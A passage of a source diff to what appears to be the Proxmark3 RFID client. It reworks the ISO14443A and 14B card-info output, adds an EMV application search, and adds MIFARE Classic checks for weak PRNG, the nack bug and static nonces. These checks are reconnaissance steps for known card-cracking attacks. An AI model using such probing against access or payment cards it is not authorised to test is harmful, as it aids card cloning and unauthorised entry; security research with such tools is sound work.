DropField(); return select_status; } - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); - PrintAndLogEx(NORMAL, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); + if (verbose) { + PrintAndLogEx(SUCCESS, "-- ISO14443-a Information -----------------------------------"); + PrintAndLogEx(SUCCESS, "-------------------------------------------------------------"); + } + PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, "ATQA: " _GREEN_("%02x %02x"), card.atqa[1], card.atqa[0]); + PrintAndLogEx(SUCCESS, " SAK: " _GREEN_("%02x [%" PRIu64 "]"), card.sak, resp.oldarg[0]); bool isMifareClassic = true; + bool isMifareDesfire = false; + bool isMifarePlus = false; + bool isMifareUltralight = false; + switch (card.sak) { case 0x00: isMifareClassic = false; @@ -1193,14 +1302,16 @@ int infoHF14A(bool verbose, bool do_nack_test) { DropField(); uint32_t tagT = GetHF14AMfU_Type(); - if (tagT != UL_ERROR) + if (tagT != UL_ERROR) { ul_print_type(tagT, 0); - else - PrintAndLogEx(NORMAL, "TYPE: Possible AZTEK (iso14443a compliant)"); + isMifareUltralight = true; + } else { + PrintAndLogEx(SUCCESS, "TYPE: Possible AZTEK (iso14443a compliant)"); + } // reconnect for further tests clearCommandBuffer(); - SendCommandMIX(CMD_READER_ISO_14443a, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); WaitForResponse(CMD_ACK, &resp); memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); @@ -1213,49 +1324,55 @@ int infoHF14A(bool verbose, bool do_nack_test) { } break; case 0x01: - PrintAndLogEx(NORMAL, "TYPE : NXP TNP3xxx Activision Game Appliance"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("NXP TNP3xxx Activision Game Appliance")); break; case 0x04: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE (various !DESFire !DESFire EV1)"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("NXP MIFARE (various !DESFire !DESFire EV1)")); isMifareClassic = false; + isMifareDesfire = true; break; case 0x08: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1")); break; case 0x09: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Mini 0.3k"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("NXP MIFARE Mini 0.3k")); break; case 0x0A: - PrintAndLogEx(NORMAL, "TYPE : FM11RF005SH (Shanghai Metro)"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("FM11RF005SH (Shanghai Metro)")); break; case 0x10: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Plus 2k SL2"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("NXP MIFARE Plus 2k SL2")); + isMifarePlus = true; break; case 0x11: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Plus 4k SL2"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("NXP MIFARE Plus 4k SL2")); + isMifarePlus = true; break; case 0x18: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Classic 4k | Plus 4k SL1 | 4k Ev1"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("NXP MIFARE Classic 4k | Plus 4k SL1 | 4k Ev1")); break; case 0x20: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE DESFire 4k | DESFire EV1 2k/4k/8k | Plus 2k/4k SL3 | JCOP 31/41"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("NXP MIFARE DESFire 4k | DESFire EV1 2k/4k/8k | Plus 2k/4k SL3 | JCOP 31/41")); isMifareClassic = false; + isMifareDesfire = true; + isMifarePlus = true; break; case 0x24: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE DESFire | DESFire EV1"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("NXP MIFARE DESFire | DESFire EV1")); isMifareClassic = false; + isMifareDesfire = true; break; case 0x28: - PrintAndLogEx(NORMAL, "TYPE : JCOP31 or JCOP41 v2.3.1"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("JCOP31 or JCOP41 v2.3.1")); break; case 0x38: - PrintAndLogEx(NORMAL, "TYPE : Nokia 6212 or 6131 MIFARE CLASSIC 4K"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("Nokia 6212 or 6131 MIFARE CLASSIC 4K")); break; case 0x88: - PrintAndLogEx(NORMAL, "TYPE : Infineon MIFARE CLASSIC 1K"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("Infineon MIFARE CLASSIC 1K")); break; case 0x98: - PrintAndLogEx(NORMAL, "TYPE : Gemplus MPCOS"); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("Gemplus MPCOS")); break; default: ; @@ -1263,14 +1380,14 @@ int infoHF14A(bool verbose, bool do_nack_test) { // Double & triple sized UID, can be mapped to a manufacturer. if (card.uidlen > 4) { - PrintAndLogEx(NORMAL, "MANUFACTURER : %s", getTagInfo(card.uid[0])); + PrintAndLogEx(SUCCESS, "MANUFACTURER: " _YELLOW_("%s"), getTagInfo(card.uid[0])); } // try to request ATS even if tag claims not to support it if (select_status == 2) { uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 clearCommandBuffer(); - SendCommandOLD(CMD_READER_ISO_14443a, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, sizeof(rats)); + SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, sizeof(rats)); WaitForResponse(CMD_ACK, &resp); memcpy(card.ats, resp.data.asBytes, resp.oldarg[0]); @@ -1282,12 +1399,12 @@ int infoHF14A(bool verbose, bool do_nack_test) { int pos; if (select_status == 2) { - PrintAndLogEx(NORMAL, "SAK incorrectly claims that card doesn't support RATS"); + PrintAndLogEx(INFO, "SAK incorrectly claims that card doesn't support RATS"); } - PrintAndLogEx(NORMAL, " ATS : %s", sprint_hex(card.ats, card.ats_len)); - PrintAndLogEx(NORMAL, " - TL : length is %d bytes", card.ats[0]); + PrintAndLogEx(SUCCESS, " ATS: %s", sprint_hex(card.ats, card.ats_len)); + PrintAndLogEx(SUCCESS, " - TL : length is %d bytes", card.ats[0]); if (card.ats[0] != card.ats_len - 2) { - PrintAndLogEx(NORMAL, "ATS may be corrupted. Length of ATS (%d bytes incl. 2 Bytes CRC) doesn't match TL", card.ats_len); + PrintAndLogEx(SUCCESS, "ATS may be corrupted. Length of ATS (%d bytes incl. 2 Bytes CRC) doesn't match TL", card.ats_len); } if (card.ats[0] > 1) { // there is a format byte (T0) @@ -1296,8 +1413,8 @@ int infoHF14A(bool verbose, bool do_nack_test) { tc1 = (card.ats[1] & 0x40) == 0x40; int16_t fsci = card.ats[1] & 0x0f; - PrintAndLogEx(NORMAL, " - T0 : TA1 is%s present, TB1 is%s present, " - "TC1 is%s present, FSCI is %d (FSC = %ld)", + PrintAndLogEx(SUCCESS, " - T0 : TA1 is%s present, TB1 is%s present, " + "TC1 is%s present, FSCI is %d (FSC = %d)", (ta1 ? "" : " NOT"), (tb1 ? "" : " NOT"), (tc1 ? "" : " NOT"), @@ -1317,7 +1434,7 @@ int infoHF14A(bool verbose, bool do_nack_test) { if (card.ats[pos] & 0x04) strcat(dr, "8, "); if (strlen(ds) != 0) ds[strlen(ds) - 2] = '\0'; if (strlen(dr) != 0) dr[strlen(dr) - 2] = '\0'; - PrintAndLogEx(NORMAL, " - TA1 : different divisors are%s supported, " + PrintAndLogEx(SUCCESS, " - TA1 : different divisors are%s supported, " "DR: [%s], DS: [%s]", ((card.ats[pos] & 0x80) ? " NOT" : ""), dr, @@ -1329,7 +1446,7 @@ int infoHF14A(bool verbose, bool do_nack_test) { if (tb1) { uint32_t sfgi = card.ats[pos] & 0x0F; uint32_t fwi = card.ats[pos] >> 4; - PrintAndLogEx(NORMAL, " - TB1 : SFGI = %d (SFGT = %s%ld/fc), FWI = %d (FWT = %ld/fc)", + PrintAndLogEx(SUCCESS, " - TB1 : SFGI = %d (SFGT = %s%d/fc), FWI = %d (FWT = %d/fc)", (sfgi), sfgi ? "" : "(not needed) ", sfgi ? (1 << 12) << sfgi : 0, @@ -1339,7 +1456,7 @@ int infoHF14A(bool verbose, bool do_nack_test) { pos++; } if (tc1) { - PrintAndLogEx(NORMAL, " - TC1 : NAD is%s supported, CID is%s supported", + PrintAndLogEx(SUCCESS, " - TC1 : NAD is%s supported, CID is%s supported", (card.ats[pos] & 0x01) ? "" : " NOT", (card.ats[pos] & 0x02) ? "" : " NOT"); pos++; @@ -1353,67 +1470,139 @@ int infoHF14A(bool verbose, bool do_nack_test) { tip = "-> MIFARE Plus S 2K or 4K"; } } - PrintAndLogEx(NORMAL, " - HB : %s%s", sprint_hex(card.ats + pos, card.ats[0] - pos), tip); + PrintAndLogEx(SUCCESS, " - HB : %s%s", sprint_hex(card.ats + pos, card.ats[0] - pos), tip); if (card.ats[pos] == 0xC1) { - PrintAndLogEx(NORMAL, " c1 -> Mifare or (multiple) virtual cards of various type"); - PrintAndLogEx(NORMAL, " %02x -> Length is %d bytes", card.ats[pos + 1], card.ats[pos + 1]); + PrintAndLogEx(SUCCESS, " c1 -> Mifare or (multiple) virtual cards of various type"); + PrintAndLogEx(SUCCESS, " %02x -> Length is %d bytes", card.ats[pos + 1], card.ats[pos + 1]); switch (card.ats[pos + 2] & 0xf0) { case 0x10: - PrintAndLogEx(NORMAL, " 1x -> MIFARE DESFire"); + PrintAndLogEx(SUCCESS, " 1x -> MIFARE DESFire"); + isMifareDesfire = true; + isMifareClassic = false; + isMifarePlus = false; break; case 0x20: - PrintAndLogEx(NORMAL, " 2x -> MIFARE Plus"); + PrintAndLogEx(SUCCESS, " 2x -> MIFARE Plus"); + isMifarePlus = true; + isMifareDesfire = false; + isMifareClassic = false; break; } switch (card.ats[pos + 2] & 0x0f) { case 0x00: - PrintAndLogEx(NORMAL, " x0 -> <1 kByte"); + PrintAndLogEx(SUCCESS, " x0 -> <1 kByte"); break; case 0x01: - PrintAndLogEx(NORMAL, " x1 -> 1 kByte"); + PrintAndLogEx(SUCCESS, " x1 -> 1 kByte"); break; case 0x02: - PrintAndLogEx(NORMAL, " x2 -> 2 kByte"); + PrintAndLogEx(SUCCESS, " x2 -> 2 kByte"); break; case 0x03: - PrintAndLogEx(NORMAL, " x3 -> 4 kByte"); + PrintAndLogEx(SUCCESS, " x3 -> 4 kByte"); break; case 0x04: - PrintAndLogEx(NORMAL, " x4 -> 8 kByte"); + PrintAndLogEx(SUCCESS, " x4 -> 8 kByte"); break; } switch (card.ats[pos + 3] & 0xf0) { case 0x00: - PrintAndLogEx(NORMAL, " 0x -> Engineering sample"); + PrintAndLogEx(SUCCESS, " 0x -> Engineering sample"); break; case 0x20: - PrintAndLogEx(NORMAL, " 2x -> Released"); + PrintAndLogEx(SUCCESS, " 2x -> Released"); break; } switch (card.ats[pos + 3] & 0x0f) { case 0x00: - PrintAndLogEx(NORMAL, " x0 -> Generation 1"); + PrintAndLogEx(SUCCESS, " x0 -> Generation 1"); break; case 0x01: - PrintAndLogEx(NORMAL, " x1 -> Generation 2"); + PrintAndLogEx(SUCCESS, " x1 -> Generation 2"); break; case 0x02: - PrintAndLogEx(NORMAL, " x2 -> Generation 3"); + PrintAndLogEx(SUCCESS, " x2 -> Generation 3"); break; } switch (card.ats[pos + 4] & 0x0f) { case 0x00: - PrintAndLogEx(NORMAL, " x0 -> Only VCSL supported"); + PrintAndLogEx(SUCCESS, " x0 -> Only VCSL supported"); break; case 0x01: - PrintAndLogEx(NORMAL, " x1 -> VCS, VCSL, and SVC supported"); + PrintAndLogEx(SUCCESS, " x1 -> VCS, VCSL, and SVC supported"); break; case 0x0E: - PrintAndLogEx(NORMAL, " xE -> no VCS command supported"); + PrintAndLogEx(SUCCESS, " xE -> no VCS command supported"); break; } } } + + if (do_aid_search) { + int elmindx = 0; + json_t *root = AIDSearchInit(verbose); + if (root != NULL) { + bool ActivateField = true; + for (elmindx = 0; elmindx < json_array_size(root); elmindx++) { + json_t *data = AIDSearchGetElm(root, elmindx); + uint8_t vaid[200] = {0}; + int vaidlen = 0; + if (!AIDGetFromElm(data, vaid, sizeof(vaid), &vaidlen) || !vaidlen) + continue; + + uint16_t sw = 0; + uint8_t result[1024] = {0}; + size_t resultlen = 0; + int res = EMVSelect(ECC_CONTACTLESS, ActivateField, true, vaid, vaidlen, result, sizeof(result), &resultlen, &sw, NULL); + ActivateField = false; + if (res) + continue; + + uint8_t dfname[200] = {0}; + size_t dfnamelen = 0; + if (resultlen > 3) { + struct tlvdb *tlv = tlvdb_parse_multi(result, resultlen); + if (tlv) { + // 0x84 Dedicated File (DF) Name + const struct tlv *dfnametlv = tlvdb_get_tlv(tlvdb_find_full(tlv, 0x84)); + if (dfnametlv) { + dfnamelen = dfnametlv->len; + memcpy(dfname, dfnametlv->value, dfnamelen); + } + tlvdb_free(tlv); + } + } + + if (sw == 0x9000 || sw == 0x6283 || sw == 0x6285) { + if (sw == 0x9000) { + if (verbose) PrintAndLogEx(SUCCESS, "------------- Application OK -----------"); + } else { + if (verbose) PrintAndLogEx(WARNING, "----------- Application blocked --------"); + } + + PrintAIDDescriptionBuf(root, vaid, vaidlen, verbose); + + if (dfnamelen) { + if (dfnamelen == vaidlen) { + if (memcmp(dfname, vaid, vaidlen) == 0) { + if (verbose) PrintAndLogEx(INFO, "(DF) Name found and equal to AID"); + } else { + PrintAndLogEx(INFO, "(DF) Name not equal to AID: %s :", sprint_hex(dfname, dfnamelen)); + PrintAIDDescriptionBuf(root, dfname, dfnamelen, verbose); + } + } else { + PrintAndLogEx(INFO, "(DF) Name not equal to AID: %s :", sprint_hex(dfname, dfnamelen)); + PrintAIDDescriptionBuf(root, dfname, dfnamelen, verbose); + } + } else { + if (verbose) PrintAndLogEx(INFO, "(DF) Name not found"); + } + } + + } + DropField(); + } + } } else { PrintAndLogEx(INFO, "proprietary non iso14443-4 card found, RATS not supported"); } @@ -1423,16 +1612,32 @@ int infoHF14A(bool verbose, bool do_nack_test) { if (isMifareClassic) { int res = detect_classic_prng(); if (res == 1) - PrintAndLogEx(SUCCESS, "Prng detection: " _GREEN_("WEAK")); + PrintAndLogEx(SUCCESS, "Prng detection: " _GREEN_("weak")); else if (res == 0) - PrintAndLogEx(SUCCESS, "Prng detection: " _YELLOW_("HARD")); + PrintAndLogEx(SUCCESS, "Prng detection: " _YELLOW_("hard")); else - PrintAndLogEx(FAILED, "prng detection: " _RED_("Fail")); + PrintAndLogEx(FAILED, "prng detection: " _RED_("fail")); if (do_nack_test) - detect_classic_nackbug(!verbose); + detect_classic_nackbug(false); + + res = detect_classic_static_nonce(); + if (res == 1) + PrintAndLogEx(SUCCESS, "Static nonce: " _YELLOW_("yes") ); + if (res == 2 && verbose) + PrintAndLogEx(SUCCESS, "Static nonce: " _RED_("fail")); } + if (isMifareUltralight) { + PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf mfu info`")); + } + if (isMifarePlus) { + PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf mfp info`")); + } + if (isMifareDesfire) { + PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf mfdes info`")); + } + + return select_status; } - diff --git a/client/cmdhf14a.h b/client/cmdhf14a.h index d5626d995..83fb2c69d 100644 --- a/client/cmdhf14a.h +++ b/client/cmdhf14a.h @@ -1,7 +1,7 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh -// 2011, Merlok -// 2015,216,2017 iceman, marshmellow, piwi +// 2011,2019 Merlok +// 2015,2016,2017 iceman, marshmellow, piwi // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. @@ -12,25 +12,9 @@ #ifndef CMDHF14A_H__ #define CMDHF14A_H__ -#include -#include -#include -#include -#include -#include -#include "proxmark3.h" #include "common.h" -#include "ui.h" -#include "util.h" -#include "cmdparser.h" -#include "cmdmain.h" -#include "mifare.h" -#include "cmdhfmf.h" -#include "cmdhfmfu.h" -#include "cmdhf.h" // list cmd -#include "mifare/mifarehost.h" -#include "emv/apduinfo.h" -#include "emv/emvcore.h" + +#include "mifare.h" // structs // structure and database for uid -> tagtype lookups typedef struct { @@ -42,10 +26,10 @@ int CmdHF14A(const char *Cmd); int CmdHF14ASniff(const char *Cmd); // used by hf topaz sniff int CmdHF14ASim(const char *Cmd); // used by hf mfu sim -int infoHF14A(bool verbose, bool do_nack_test); +int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search); const char *getTagInfo(uint8_t uid); int Hf14443_4aGetCardData(iso14a_card_select_t *card); int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); -int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); +int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode); #endif diff --git a/client/cmdhf14b.c b/client/cmdhf14b.c index c95494b7a..859df4a23 100644 --- a/client/cmdhf14b.c +++ b/client/cmdhf14b.c @@ -11,6 +11,17 @@ #include "cmdhf14b.h" +#include +#include "fileutils.h" + +#include "cmdparser.h" // command_t +#include "comms.h" // clearCommandBuffer +#include "cmdtrace.h" + +#include "crc16.h" +#include "cmdhf14a.h" +#include "protocols.h" // definitions of ISO14B protocol + #define TIMEOUT 2000 static int CmdHelp(const char *Cmd); @@ -109,13 +120,13 @@ static int usage_hf_14b_dump(void) { /* static void switch_on_field_14b(void) { clearCommandBuffer(); - SendCommandMIX(CMD_ISO_14443B_COMMAND, ISO14B_CONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443B_COMMAND, ISO14B_CONNECT, 0, 0, NULL, 0); } */ static int switch_off_field_14b(void) { clearCommandBuffer(); - SendCommandMIX(CMD_ISO_14443B_COMMAND, ISO14B_DISCONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443B_COMMAND, ISO14B_DISCONNECT, 0, 0, NULL, 0); return 0; } @@ -136,15 +147,15 @@ static bool waitCmd14b(bool verbose) { if (len >= 3) { bool crc = check_crc(CRC_14443_B, data, len); - PrintAndLogEx(NORMAL, "[LEN %u] %s[%02X %02X] %s", + PrintAndLogEx(SUCCESS, "[LEN %u] %s[%02X %02X] %s", len, sprint_hex(data, len - 2), data[len - 2], data[len - 1], - (crc) ? "OK" : "FAIL" + (crc) ? _GREEN_("OK") : _RED_("FAIL") ); } else { - PrintAndLogEx(NORMAL, "[LEN %u] %s", len, sprint_hex(data, len)); + PrintAndLogEx(SUCCESS, "[LEN %u] %s", len, sprint_hex(data, len)); } } return true; @@ -170,8 +181,8 @@ static int CmdHF14BSim(const char *Cmd) { } clearCommandBuffer(); - SendCommandMIX(CMD_SIMULATE_TAG_ISO_14443B, pupi, 0, 0, NULL, 0); - return 0; + SendCommandMIX(CMD_HF_ISO14443B_SIMULATE, pupi, 0, 0, NULL, 0); + return PM3_SUCCESS; } static int CmdHF14BSniff(const char *Cmd) { @@ -180,8 +191,8 @@ static int CmdHF14BSniff(const char *Cmd) { if (cmdp == 'h') return usage_hf_14b_sniff(); clearCommandBuffer(); - SendCommandNG(CMD_SNIFF_ISO_14443B, NULL, 0); - return 0; + SendCommandNG(CMD_HF_ISO14443B_SNIFF, NULL, 0); + return PM3_SUCCESS; } static int CmdHF14BCmdRaw(const char *Cmd) { @@ -251,15 +262,16 @@ static int CmdHF14BCmdRaw(const char *Cmd) { continue; } PrintAndLogEx(WARNING, "unknown parameter '%c'\n", param_getchar(Cmd, i)); - return 0; + return PM3_EINVARG; } if (hasTimeout) { -#define MAX_TIMEOUT 40542464 // = (2^32-1) * (8*16) / 13560000Hz * 1000ms/s + +#define MAX_14B_TIMEOUT 40542464 // = (2^32-1) * (8*16) / 13560000Hz * 1000ms/s flags |= ISO14B_SET_TIMEOUT; - if (user_timeout > MAX_TIMEOUT) { - user_timeout = MAX_TIMEOUT; - PrintAndLogEx(NORMAL, "Set timeout to 40542 seconds (11.26 hours). The max we can wait for response"); + if (user_timeout > MAX_14B_TIMEOUT) { + user_timeout = MAX_14B_TIMEOUT; + PrintAndLogEx(INFO, "Set timeout to 40542 seconds (11.26 hours). The max we can wait for response"); } time_wait = 13560000 / 1000 / (8 * 16) * user_timeout; // timeout in ETUs (time to transfer 1 bit, approx. 9.4 us) } @@ -274,9 +286,9 @@ static int CmdHF14BCmdRaw(const char *Cmd) { datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen; clearCommandBuffer(); - SendCommandOLD(CMD_ISO_14443B_COMMAND, flags, datalen, time_wait, data, datalen); + SendCommandOLD(CMD_HF_ISO14443B_COMMAND, flags, datalen, time_wait, data, datalen); - if (!reply) return 1; + if (!reply) return PM3_SUCCESS; bool success = true; // get back iso14b_card_select_t, don't print it. @@ -286,7 +298,7 @@ static int CmdHF14BCmdRaw(const char *Cmd) { // get back response from the raw bytes you sent. if (success && datalen > 0) waitCmd14b(true); - return 1; + return PM3_SUCCESS; } static bool get_14b_UID(iso14b_card_select_t *card) { @@ -301,7 +313,7 @@ static bool get_14b_UID(iso14b_card_select_t *card) { while (retry--) { clearCommandBuffer(); - SendCommandMIX(CMD_ISO_14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_SR | ISO14B_DISCONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_SR | ISO14B_DISCONNECT, 0, 0, NULL, 0); if (WaitForResponseTimeout(CMD_ACK, &resp, TIMEOUT)) { uint8_t status = resp.oldarg[0]; @@ -317,7 +329,7 @@ static bool get_14b_UID(iso14b_card_select_t *card) { while (retry--) { clearCommandBuffer(); - SendCommandMIX(CMD_ISO_14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_STD | ISO14B_DISCONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_STD | ISO14B_DISCONNECT, 0, 0, NULL, 0); if (WaitForResponseTimeout(CMD_ACK, &resp, TIMEOUT)) { uint8_t status = resp.oldarg[0]; @@ -473,7 +485,6 @@ static void print_st_general_info(uint8_t *data, uint8_t len) { PrintAndLogEx(NORMAL, " UID: %s", sprint_hex(SwapEndian64(data, 8, 8), len)); PrintAndLogEx(NORMAL, " MFG: %02X, %s", data[6], getTagInfo(data[6])); PrintAndLogEx(NORMAL, "Chip: %02X, %s", data[5] >> 2, get_ST_Chip_Model(data[5] >> 2)); - return; } //05 00 00 = find one tag in field @@ -501,7 +512,7 @@ static bool HF14B_Std_Info(bool verbose) { // 14b get and print UID only (general info) clearCommandBuffer(); - SendCommandMIX(CMD_ISO_14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_STD | ISO14B_DISCONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_STD | ISO14B_DISCONNECT, 0, 0, NULL, 0); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, TIMEOUT)) { @@ -517,9 +528,10 @@ static bool HF14B_Std_Info(bool verbose) { switch (status) { case 0: - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); - PrintAndLogEx(NORMAL, " CHIPID : %02X", card.chipid); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); + PrintAndLogEx(SUCCESS, " CHIPID : %02X", card.chipid); print_atqb_resp(card.atqb, card.cid); isSuccess = true; break; @@ -541,7 +553,7 @@ static bool HF14B_Std_Info(bool verbose) { static bool HF14B_ST_Info(bool verbose) { clearCommandBuffer(); - SendCommandMIX(CMD_ISO_14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_SR | ISO14B_DISCONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_SR | ISO14B_DISCONNECT, 0, 0, NULL, 0); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, TIMEOUT)) { @@ -597,7 +609,7 @@ static bool HF14B_ST_Reader(bool verbose) { // SRx get and print general info about SRx chip from UID clearCommandBuffer(); - SendCommandMIX(CMD_ISO_14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_SR | ISO14B_DISCONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_SR | ISO14B_DISCONNECT, 0, 0, NULL, 0); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, TIMEOUT)) { if (verbose) PrintAndLogEx(WARNING, "command execution timeout"); @@ -636,7 +648,7 @@ static bool HF14B_Std_Reader(bool verbose) { // 14b get and print UID only (general info) clearCommandBuffer(); - SendCommandMIX(CMD_ISO_14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_STD | ISO14B_DISCONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443B_COMMAND, ISO14B_CONNECT | ISO14B_SELECT_STD | ISO14B_DISCONNECT, 0, 0, NULL, 0); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, TIMEOUT)) { @@ -651,9 +663,10 @@ static bool HF14B_Std_Reader(bool verbose) { switch (status) { case 0: - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); - PrintAndLogEx(NORMAL, " CHIPID : %02X", card.chipid); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); + PrintAndLogEx(SUCCESS, " CHIPID : %02X", card.chipid); print_atqb_resp(card.atqb, card.cid); isSuccess = true; break; @@ -680,7 +693,7 @@ static bool HF14B_Other_Reader() { // uint32_t flags = ISO14B_CONNECT | ISO14B_SELECT_STD | ISO14B_RAW | ISO14B_APPEND_CRC; // clearCommandBuffer(); - // SendCommandOLD(CMD_ISO_14443B_COMMAND, flags, datalen, 0, data, datalen); + // SendCommandOLD(CMD_HF_ISO14443B_COMMAND, flags, datalen, 0, data, datalen); // PacketResponseNG resp; // WaitForResponse(CMD_ACK,&resp); @@ -694,7 +707,7 @@ static bool HF14B_Other_Reader() { // data[0] = ISO14443B_AUTHENTICATE; // clearCommandBuffer(); - // SendCommandOLD(CMD_ISO_14443B_COMMAND, flags, 1, 0, data, 1); + // SendCommandOLD(CMD_HF_ISO14443B_COMMAND, flags, 1, 0, data, 1); // PacketResponseNG resp; // WaitForResponse(CMD_ACK, &resp); @@ -708,7 +721,7 @@ static bool HF14B_Other_Reader() { // data[0] = ISO14443B_RESET; // clearCommandBuffer(); - // SendCommandOLD(CMD_ISO_14443B_COMMAND, flags, 1, 0, data, 1); + // SendCommandOLD(CMD_HF_ISO14443B_COMMAND, flags, 1, 0, data, 1); // PacketResponseNG resp; // WaitForResponse(CMD_ACK, &resp); @@ -745,7 +758,7 @@ static int CmdHF14BReadSri(const char *Cmd) { uint8_t blocks = (tagtype == 1) ? 0x7F : 0x0F; clearCommandBuffer(); - SendCommandMIX(CMD_READ_SRI_TAG, blocks, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_SRI_READ, blocks, 0, 0, NULL, 0); return 0; } // New command to write a SRI512/SRIX4K tag. @@ -782,28 +795,28 @@ static int CmdHF14BWriteSri(const char *Cmd) { if (isSrix4k) { if (blockno > 0x7f && blockno != 0xff) { PrintAndLogEx(FAILED, "block number out of range"); - return 0; + return PM3_ESOFT; } } else { if (blockno > 0x0f && blockno != 0xff) { PrintAndLogEx(FAILED, "block number out of range"); - return 0; + return PM3_ESOFT; } } if (param_gethex(Cmd, 2, data, 8)) { PrintAndLogEx(WARNING, "data must include 8 HEX symbols"); - return 0; + return PM3_ESOFT; } if (blockno == 0xff) { - PrintAndLogEx(SUCCESS, "[%s] Write special block %02X [ %s ]", + PrintAndLogEx(SUCCESS, "[%s] Write special block %02X [ " _YELLOW_("%s")" ]", (isSrix4k) ? "SRIX4K" : "SRI512", blockno, sprint_hex(data, 4) ); } else { - PrintAndLogEx(SUCCESS, "[%s] Write block %02X [ %s ]", + PrintAndLogEx(SUCCESS, "[%s] Write block %02X [ " _YELLOW_("%s")" ]", (isSrix4k) ? "SRIX4K" : "SRI512", blockno, 